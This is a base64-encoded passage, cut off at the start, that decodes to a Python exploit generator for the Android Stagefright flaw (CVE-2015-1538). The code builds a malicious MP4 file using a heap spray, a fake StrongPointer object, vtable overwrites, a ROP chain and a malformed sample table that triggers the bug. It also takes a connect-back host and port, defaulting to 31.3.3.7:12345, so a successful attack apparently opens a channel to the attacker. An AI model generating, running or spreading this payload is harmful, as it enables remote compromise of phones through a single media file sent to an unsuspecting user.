uLgojCmRlZiBjcmVhdGVfbXA0KHNwX2FkZHIsIG5ld3BjX3ZhbCwgY2JfaG9zdCwgY2JfcG9ydCk6CiAgICBjaHVua3MgPSBbXQoKICAgICMgQnVpbGQgdGhlIE1QNCBoZWFkZXIuLi4KICAgIGZ0eXAgPSAgJ21wNDInCiAgICBmdHlwICs9IHN0cnVjdC5wYWNrKCc+TCcsIDApCiAgICBmdHlwICs9ICdtcDQyJwogICAgZnR5cCArPSAnaXNvbScKICAgIGNodW5rcy5hcHBlbmQobWFrZV9jaHVuaygnZnR5cCcsIGZ0eXApKQoKICAgICMgTm90ZSwgdGhpcyBjYXVzZXMgYSBmZXcgYWxsb2NhdGlvbnMuLi4KICAgIG1vb3ZfZGF0YSA9ICcnCiAgICBtb292X2RhdGEgKz0gbWFrZV9jaHVuaygnbXZoZCcsCiAgICAgICAgc3RydWN0LnBhY2soJz5MTCcsIDAsIDB4NDE0MTQxNDEpICsKICAgICAgICAoJ0InICogMHg1YykgKQoKICAgICMgQWRkIGEgbWluaW1hbCwgdmVyaWZpZWQgdHJhayB0byBzYXRpc2Z5IG1MYXN0VHJhY2sgYmVpbmcgc2V0CiAgICBtb292X2RhdGEgKz0gbWFrZV9jaHVuaygndHJhaycsCiAgICAgICAgbWFrZV9jaHVuaygnc3RibCcsCiAgICAgICAgICAgIG1ha2Vfc3RzYygweDI4LCAweDI4KSArCiAgICAgICAgICAgIG1ha2Vfc3RjbygpICsKICAgICAgICAgICAgbWFrZV9zdHN6KCkgKwogICAgICAgICAgICBtYWtlX3N0dHMoKSApKQoKICAgICMgU3ByYXkgdGhlIGhlYXAgdXNpbmcgYSBsYXJnZSB0eDNnIGNodW5rIChjYW4gY29udGFpbiBiaW5hcnkgZGF0YSEpCiAgICAiIiIKICAgICAgIDB4NDAwNzAwNGUgPF9aTks3YW5kcm9pZDdSZWZCYXNlOWRlY1N0cm9uZ0VQS3YrMj46ICAgbGRyIHI0LCBbcjAsICM0XSAgOyBsb2FkIG1SZWZzCiAgICAgICAweDQwMDcwMDUwIDxfWk5LN2FuZHJvaWQ3UmVmQmFzZTlkZWNTdHJvbmdFUEt2KzQ+OiAgIG1vdiByNSwgcjAKICAgICAgIDB4NDAwNzAwNTIgPF9aTks3YW5kcm9pZDdSZWZCYXNlOWRlY1N0cm9uZ0VQS3YrNj46ICAgbW92IHI2LCByMQogICAgICAgMHg0MDA3MDA1NCA8X1pOSzdhbmRyb2lkN1JlZkJhc2U5ZGVjU3Ryb25nRVBLdis4PjogICBtb3YgcjAsIHI0CiAgICAgICAweDQwMDcwMDU2IDxfWk5LN2FuZHJvaWQ3UmVmQmFzZTlkZWNTdHJvbmdFUEt2KzEwPjogIGJseCAweDQwMDY5ODg0ICAgIDsgYXRvbWljX2RlY3JlbWVudAogICAgICAgMHg0MDA3MDA1YSA8X1pOSzdhbmRyb2lkN1JlZkJhc2U5ZGVjU3Ryb25nRVBLdisxND46ICBjbXAgcjAsICMxICAgICAgICA7IG11c3QgYmUgMQogICAgICAgMHg0MDA3MDA1YyA8X1pOSzdhbmRyb2lkN1JlZkJhc2U5ZGVjU3Ryb25nRVBLdisxNj46ICBibmUubiAgIDB4NDAwNzAwNzYgPF9aTks3YW5kcm9pZDdSZWZCYXNlOWRlY1N0cm9uZ0VQS3YrNDI+CiAgICAgICAweDQwMDcwMDVlIDxfWk5LN2FuZHJvaWQ3UmVmQmFzZTlkZWNTdHJvbmdFUEt2KzE4PjogIGxkciByMCwgW3I0LCAjOF0gIDsgbG9hZCByZWZzLT5tQmFzZQogICAgICAgMHg0MDA3MDA2MCA8X1pOSzdhbmRyb2lkN1JlZkJhc2U5ZGVjU3Ryb25nRVBLdisyMD46ICBsZHIgcjEsIFtyMCwgIzBdICA7IGxvYWQgbUJhc2UuX3ZwdHIKICAgICAgIDB4NDAwNzAwNjIgPF9aTks3YW5kcm9pZDdSZWZCYXNlOWRlY1N0cm9uZ0VQS3YrMjI+OiAgbGRyIHIyLCBbcjEsICMxMl0gOyBsb2FkIG1ldGhvZCBhZGRyZXNzCiAgICAgICAweDQwMDcwMDY0IDxfWk5LN2FuZHJvaWQ3UmVmQmFzZTlkZWNTdHJvbmdFUEt2KzI0PjogIG1vdiByMSwgcjYKICAgICAgIDB4NDAwNzAwNjYgPF9aTks3YW5kcm9pZDdSZWZCYXNlOWRlY1N0cm9uZ0VQS3YrMjY+OiAgYmx4IHIyICAgICAgICAgICAgOyBjYWxsIGl0IQogICAgIiIiCiAgICBwYWdlID0gJycKICAgIG9mZiA9IDAgICMgdGhlIG9mZnNldCB0byB0aGUgbmV4dCBvYmplY3QKICAgIG9mZiArPSA4CiAgICBwYWdlICs9IHN0cnVjdC5wYWNrKCc8TCcsIHNwX2FkZHIgKyA4ICsgMTYgKyA4ICsgMTIgLSAyOCkgICAgIyBfdnB0ci5SZWZCYXNlIChmb3Igd2hlbiB3ZSBzbWFzaCBtRGF0YVNvdXJjZSkKICAgIHBhZ2UgKz0gc3RydWN0LnBhY2soJzxMJywgc3BfYWRkciArIG9mZikgIyBtUmVmcwogICAgb2ZmICs9IDE2CiAgICBwYWdlICs9IHN0cnVjdC5wYWNrKCc8TCcsIDEpICAgICAgICAgICAgICMgbVN0cm9uZwogICAgcGFnZSArPSBzdHJ1Y3QucGFjaygnPEwnLCAweGMwZGVkYmFkKSAgICAjIG1XZWFrCiAgICBwYWdlICs9IHN0cnVjdC5wYWNrKCc8TCcsIHNwX2FkZHIgKyBvZmYpICMgbUJhc2UKICAgIHBhZ2UgKz0gc3RydWN0LnBhY2soJzxMJywgMTYpICAgICAgICAgICAgIyBtRmxhZ3MgKGRvbnQgc2V0IE9CSkVDVF9MSUZFVElNRV9NQVNLKQogICAgb2ZmICs9IDgKICAgIHBhZ2UgKz0gc3RydWN0LnBhY2soJzxMJywgc3BfYWRkciArIG9mZikgIyB0aGUgbUJhc2UgX3ZwdHIuUmVmQmFzZQogICAgcGFnZSArPSBzdHJ1Y3QucGFjaygnPEwnLCAweGYwMGRiYWJlKSAgICAjIG1CYXNlLm1SZWZzICh1bnVzZWQpCiAgICBvZmYgKz0gMTYKICAgIHBhZ2UgKz0gc3RydWN0LnBhY2soJzxMJywgMHhjMGRlMDAwMCArIDB4MDApICAjIHZ0YWJsZSBlbnRyeSAwCiAgICBwYWdlICs9IHN0cnVjdC5wYWNrKCc8TCcsIDB4YzBkZTAwMDAgKyAweDA0KSAgIyB2dGFibGUgZW50cnkgNAogICAgcGFnZSArPSBzdHJ1Y3QucGFjaygnPEwnLCAweGMwZGUwMDAwICsgMHgwOCkgICMgdnRhYmxlIGVudHJ5IDgKICAgIHBhZ2UgKz0gc3RydWN0LnBhY2soJzxMJywgbmV3cGNfdmFsKSAgICAgICAgICAjIHZ0YWJsZSBlbnRyeSAxMgogICAgcm9wID0gYnVpbGRfcm9wKG9mZiwgc3BfYWRkciwgbmV3cGNfdmFsLCBjYl9ob3N0LCBjYl9wb3J0KQogICAgeCA9IGxlbihwYWdlKQogICAgd2hpbGUgbGVuKHBhZ2UpIDwgNDA5NjoKICAgICAgICBwYWdlICs9IHN0cnVjdC5wYWNrKCc8TCcsIDB4ZjBmMDAwMDAreCkKICAgICAgICB4ICs9IDQKCiAgICBvZmYgPSAweDM0CiAgICBwYWdlID0gcGFnZVs6b2ZmXSArIHJvcCArIHBhZ2Vbb2ZmK2xlbihyb3ApOl0KICAgIHNwcmF5ID0gcGFnZSAqICgoKDIqMTAyNCoxMDI0KSAvIGxlbihwYWdlKSkgLSAyMCkKICAgIG1vb3ZfZGF0YSArPSBtYWtlX2NodW5rKCd0eDNnJywgc3ByYXkpCiAgICBibG9jayA9ICdBJyAqIDB4MWMKICAgIGJpZ2dlciA9ICdCJyAqIDB4NDAKICAgIHVkdGEgPSBtYWtlX2NodW5rKCd1ZHRhJywKICAgICAgICBtYWtlX2NodW5rKCdtZXRhJywKICAgICAgICAgICAgc3RydWN0LnBhY2soJz5MJywgMCkgKwogICAgICAgICAgICBtYWtlX2NodW5rKCdpbHN0JywKICAgICAgICAgICAgICAgIG1ha2VfY2h1bmsoJ2NwaWwnLCAgICBtYWtlX2NodW5rKCdkYXRhJywgc3RydWN0LnBhY2soJz5MTCcsIDIxLCAwKSArICdBJykpICsKICAgICAgICAgICAgICAgIG1ha2VfY2h1bmsoJ3Rya24nLCAgICBtYWtlX2NodW5rKCdkYXRhJywgc3RydWN0LnBhY2soJz5MTCcsIDAsIDApICsgJ0FBQUFCQkJCJykpICsKICAgICAgICAgICAgICAgIG1ha2VfY2h1bmsoJ2Rpc2snLCAgICBtYWtlX2NodW5rKCdkYXRhJywgc3RydWN0LnBhY2soJz5MTCcsIDAsIDApICsgJ0FBQUFCQicpKSArCiAgICAgICAgICAgICAgICBtYWtlX2NodW5rKCdjb3ZyJywgICAgbWFrZV9jaHVuaygnZGF0YScsIHN0cnVjdC5wYWNrKCc+TEwnLCAwLCAwKSArIGJsb2NrKSkgKiAzMiArCiAgICAgICAgICAgICAgICBtYWtlX2NodW5rKCdceGE5YWxiJywgbWFrZV9jaHVuaygnZGF0YScsIHN0cnVjdC5wYWNrKCc+TEwnLCAwLCAwKSArIGJsb2NrKSkgKwogICAgICAgICAgICAgICAgbWFrZV9jaHVuaygnXHhhOUFSVCcsIG1ha2VfY2h1bmsoJ2RhdGEnLCBzdHJ1Y3QucGFjaygnPkxMJywgMCwgMCkgKyBibG9jaykpICsKICAgICAgICAgICAgICAgIG1ha2VfY2h1bmsoJ2FBUlQnLCAgICBtYWtlX2NodW5rKCdkYXRhJywgc3RydWN0LnBhY2soJz5MTCcsIDAsIDApICsgYmxvY2spKSArCiAgICAgICAgICAgICAgICBtYWtlX2NodW5rKCdceGE5ZGF5JywgbWFrZV9jaHVuaygnZGF0YScsIHN0cnVjdC5wYWNrKCc+TEwnLCAwLCAwKSArIGJsb2NrKSkgKwogICAgICAgICAgICAgICAgbWFrZV9jaHVuaygnXHhhOW5hbScsIG1ha2VfY2h1bmsoJ2RhdGEnLCBzdHJ1Y3QucGFjaygnPkxMJywgMCwgMCkgKyBibG9jaykpICsKICAgICAgICAgICAgICAgIG1ha2VfY2h1bmsoJ1x4YTl3cnQnLCBtYWtlX2NodW5rKCdkYXRhJywgc3RydWN0LnBhY2soJz5MTCcsIDAsIDApICsgYmxvY2spKSArCiAgICAgICAgICAgICAgICBtYWtlX2NodW5rKCdnbnJlJywgICAgbWFrZV9jaHVuaygnZGF0YScsIHN0cnVjdC5wYWNrKCc+TEwnLCAxLCAwKSArIGJsb2NrKSkgKwogICAgICAgICAgICAgICAgbWFrZV9jaHVuaygnY292cicsICAgIG1ha2VfY2h1bmsoJ2RhdGEnLCBzdHJ1Y3QucGFjaygnPkxMJywgMCwgMCkgKyBibG9jaykpICogMzIgKwogICAgICAgICAgICAgICAgbWFrZV9jaHVuaygnXHhhOUFSVCcsIG1ha2VfY2h1bmsoJ2RhdGEnLCBzdHJ1Y3QucGFjaygnPkxMJywgMCwgMCkgKyBiaWdnZXIpKSArCiAgICAgICAgICAgICAgICBtYWtlX2NodW5rKCdceGE5d3J0JywgbWFrZV9jaHVuaygnZGF0YScsIHN0cnVjdC5wYWNrKCc+TEwnLCAwLCAwKSArIGJpZ2dlcikpICsKICAgICAgICAgICAgICAgIG1ha2VfY2h1bmsoJ1x4YTlkYXknLCBtYWtlX2NodW5rKCdkYXRhJywgc3RydWN0LnBhY2soJz5MTCcsIDAsIDApICsgYmlnZ2VyKSkpCiAgICAgICAgICAgICkKICAgICAgICApCiAgICBtb292X2RhdGEgKz0gdWR0YQoKICAgICMgTWFrZSB0aGUgbmFzdHkgdHJhawogICAgdGtoZDEgPSAnJy5qb2luKFsKICAgICAgICAnXHgwMCcsICAgICAgICMgdmVyc2lvbgogICAgICAgICdEJyAqIDMsICAgICAgIyBwYWRkaW5nCiAgICAgICAgJ0UnICogKDUqNCksICAjIHtjLG19dGltZSwgaWQsID8/LCBkdXJhdGlvbgogICAgICAgICdGJyAqIDB4MTAsICAgIyA/PwogICAgICAgIHN0cnVjdC5wYWNrKCc+TExMTExMJywKICAgICAgICAgICAgMHgxMDAwMCwgICMgYTAwCiAgICAgICAgICAgIDAsICAgICAgICAjIGEwMQogICAgICAgICAgICAwLCAgICAgICAgIyBkeAogICAgICAgICAgICAwLCAgICAgICAgIyBhMTAKICAgICAgICAgICAgMHgxMDAwMCwgICMgYTExCiAgICAgICAgICAgIDApLCAgICAgICAjIGR5CiAgICAgICAgJ0cnICogMHgxNAogICAgICAgIF0pCgogICAgdHJhazEgPSAnJwogICAgdHJhazEgKz0gbWFrZV9jaHVuaygndGtoZCcsIHRraGQxKQoKICAgIG1kaGQxID0gJycuam9pbihbCiAgICAgICAgJ1x4MDAnLCAgICAgICAjIHZlcnNpb24KICAgICAgICAnRCcgKiAweDE3LCAgICMgcGFkZGluZwogICAgICAgIF0pCgogICAgbWRpYTEgPSAnJwogICAgbWRpYTEgKz0gbWFrZV9jaHVuaygnbWRoZCcsIG1kaGQxKQogICAgbWRpYTEgKz0gbWFrZV9jaHVuaygnaGRscicsICdGJyAqIDB4M2EpCgogICAgZGluZjEgPSAnJwogICAgZGluZjEgKz0gbWFrZV9jaHVuaygnZHJlZicsICdIJyAqIDB4MTQpCgogICAgbWluZjEgPSAnJwogICAgbWluZjEgKz0gbWFrZV9jaHVuaygnc21oZCcsICdHJyAqIDB4MDgpCiAgICBtaW5mMSArPSBtYWtlX2NodW5rKCdkaW5mJywgZGluZjEpCgogICAgIyBCdWlsZCB0aGUgbmFzdHkgc2FtcGxlIHRhYmxlIHRvIHRyaWdnZXIgdGhlIHZ1bG5lcmFiaWxpdHkgaGVyZS4KICAgIHN0YmwxID0gbWFrZV9zdHNjKDMsICgweDEyMDAgLyAweGMpIC0gMSwgc3BfYWRkciwgVHJ1ZSkgIyBUUklHR0VSCgogICAgIyBBZGQgdGhlIHN0YmwgdG8gdGhlIG1pbmYgY2h1bmsKICAgIG1pbmYxICs9IG1ha2VfY2h1bmsoJ3N0YmwnLCBzdGJsMSkKCiAgICAjIEFkZCB0aGUgbWluZiB0byB0aGUgbWRpYSBjaHVuawogICAgbWRpYTEgKz0gbWFrZV9jaHVuaygnbWluZicsIG1pbmYxKQoKICAgICMgQWRkIHRoZSBtZGlhIHRvIHRoZSB0cmFjawogICAgdHJhazEgKz0gbWFrZV9jaHVuaygnbWRpYScsIG1kaWExKQoKICAgICMgQWRkIHRoZSBuYXN0eSB0cmFjayB0byB0aGUgbW9vdiBkYXRhCiAgICBtb292X2RhdGEgKz0gbWFrZV9jaHVuaygndHJhaycsIHRyYWsxKQoKICAgICMgRmluYWxpemUgdGhlIG1vb3YgY2h1bmsKICAgIG1vb3YgPSBtYWtlX2NodW5rKCdtb292JywgbW9vdl9kYXRhKQogICAgY2h1bmtzLmFwcGVuZChtb292KQoKICAgICMgQ29tYmluZSBvdXRlciBjaHVua3MgdG9nZXRoZXIgYW5kIHZvaWxhLgogICAgZGF0YSA9ICcnLmpvaW4oY2h1bmtzKQoKICAgIHJldHVybiBkYXRhCgppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOgogICAgaW1wb3J0IHN5cwoKICAgIGltcG9ydCBhcmdwYXJzZQoKICAgIGRlZiB3cml0ZV9maWxlKHBhdGgsIGNvbnRlbnQpOgogICAgICAgIHdpdGggb3BlbihwYXRoLCAnd2InKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGNvbnRlbnQpCgogICAgZGVmIGFkZHIoc3ZhbCk6CiAgICAgICAgaWYgc3ZhbC5zdGFydHN3aXRoKCcweCcpOgogICAgICAgICAgICByZXR1cm4gaW50KHN2YWwsIDE2KQogICAgICAgIHJldHVybiBpbnQoc3ZhbCkKCiAgICAjIFRoZSBhZGRyZXNzIG9mIGEgZmFrZSBTdHJvbmdQb2ludGVyIG9iamVjdCAoc3ByYXllZCkKICAgIHNwX2FkZHIgICA9IDB4NDFkMDAwMTAgICMgdGFranUgQCBpbW03NmkgLSAyTUIgKHZpYSBoYW5nb3V0cykKCiAgICAjIFRoZSBhZGRyZXNzIHRvIG9mIG91ciBST1AgcGl2b3QKICAgIG5ld3BjX3ZhbCA9IDB4YjAwMDI4NTAgIyBwb2ludCBzcCBhdCBfX2RsX3Jlc3RvcmVfY29yZV9yZWdzCgogICAgIyBBbGxvdyB0aGUgdXNlciB0byBvdmVycmlkZSBwYXJhbWV0ZXJzCiAgICBwYXJzZXIgPSBhcmdwYXJzZS5Bcmd1bWVudFBhcnNlcigpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCctYycsICctLWNvbm5lY3RiYWNrLWhvc3QnLCBkZXN0PSdjYmhvc3QnLCBkZWZhdWx0PSczMS4zLjMuNycpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCctcCcsICctLWNvbm5lY3RiYWNrLXBvcnQnLCBkZXN0PSdjYnBvcnQnLCB0eXBlPWludCwgZGVmYXVsdD0xMjM0NSkKICAgIHBhcnNlci5hZGRfYXJndW1lbnQoJy1zJywgJy0tc3ByYXktYWRkcmVzcycsIGRlc3Q9J3NwcmF5X2FkZHInLCB0eXBlPWFkZHIsIGRlZmF1bHQ9Tm9uZSkKICAgIHBhcnNlci5hZGRfYXJndW1lbnQoJy1yJywgJy0tcm9wLXBpdm90JywgZGVzdD0ncm9wX3Bpdm90JywgdHlwZT1hZGRyLCBkZWZhdWx0PU5vbmUpCiAgICBwYXJzZXIuYWRkX2FyZ3VtZW50KCctbycsICctLW91dHB1dC1maWxlJywgZGVzdD0nb3V0cHV0X2ZpbGUnLCBkZWZhdWx0PSdjdmUtMjAxNS0xNTM4LTEubXA0JykKICAgIGFyZ3MgPSBwYXJzZXIucGFyc2VfYXJncygpCgogICAgaWYgbGVuKHN5cy5hcmd2KSA9PSAxOgogICAgICAgIHBhcnNlci5wcmludF9oZWxwKCkKICAgICAgICBzeXMuZXhpdCgtMSkKCiAgICBpZiBhcmdzLnNwcmF5X2FkZHIgPT0gTm9uZToKICAgICAgICBhcmdzLnNwcmF5X2FkZHIgPSBzcF9hZGRyCiAgICBpZiBhcmdzLnJvcF9waXZvdCA9PSBOb25lOgogICAgICAgIGFyZ3Mucm9wX3Bpdm90ID0gbmV3cGNfdmFsCgogICAgIyBCdWlsZCB0aGUgTVA0IGZpbGUuLi4KICAgIGRhdGEgPSBtcDQuY3JlYXRlX21wNChhcmdzLnNwcmF5X2FkZHIsIGFyZ3Mucm9wX3Bpdm90LCBhcmdzLmNiaG9zdCwgYXJncy5jYnBvcnQpCiAgICBwcmludCgnWypdIFNhdmluZyBjcmFmdGVkIE1QNCB0byAlcyAuLi4nICUgYXJncy5vdXRwdXRfZmlsZSkKICAgIHdyaXRlX2ZpbGUoYXJncy5vdXRwdXRfZmlsZSwgZGF0YSkK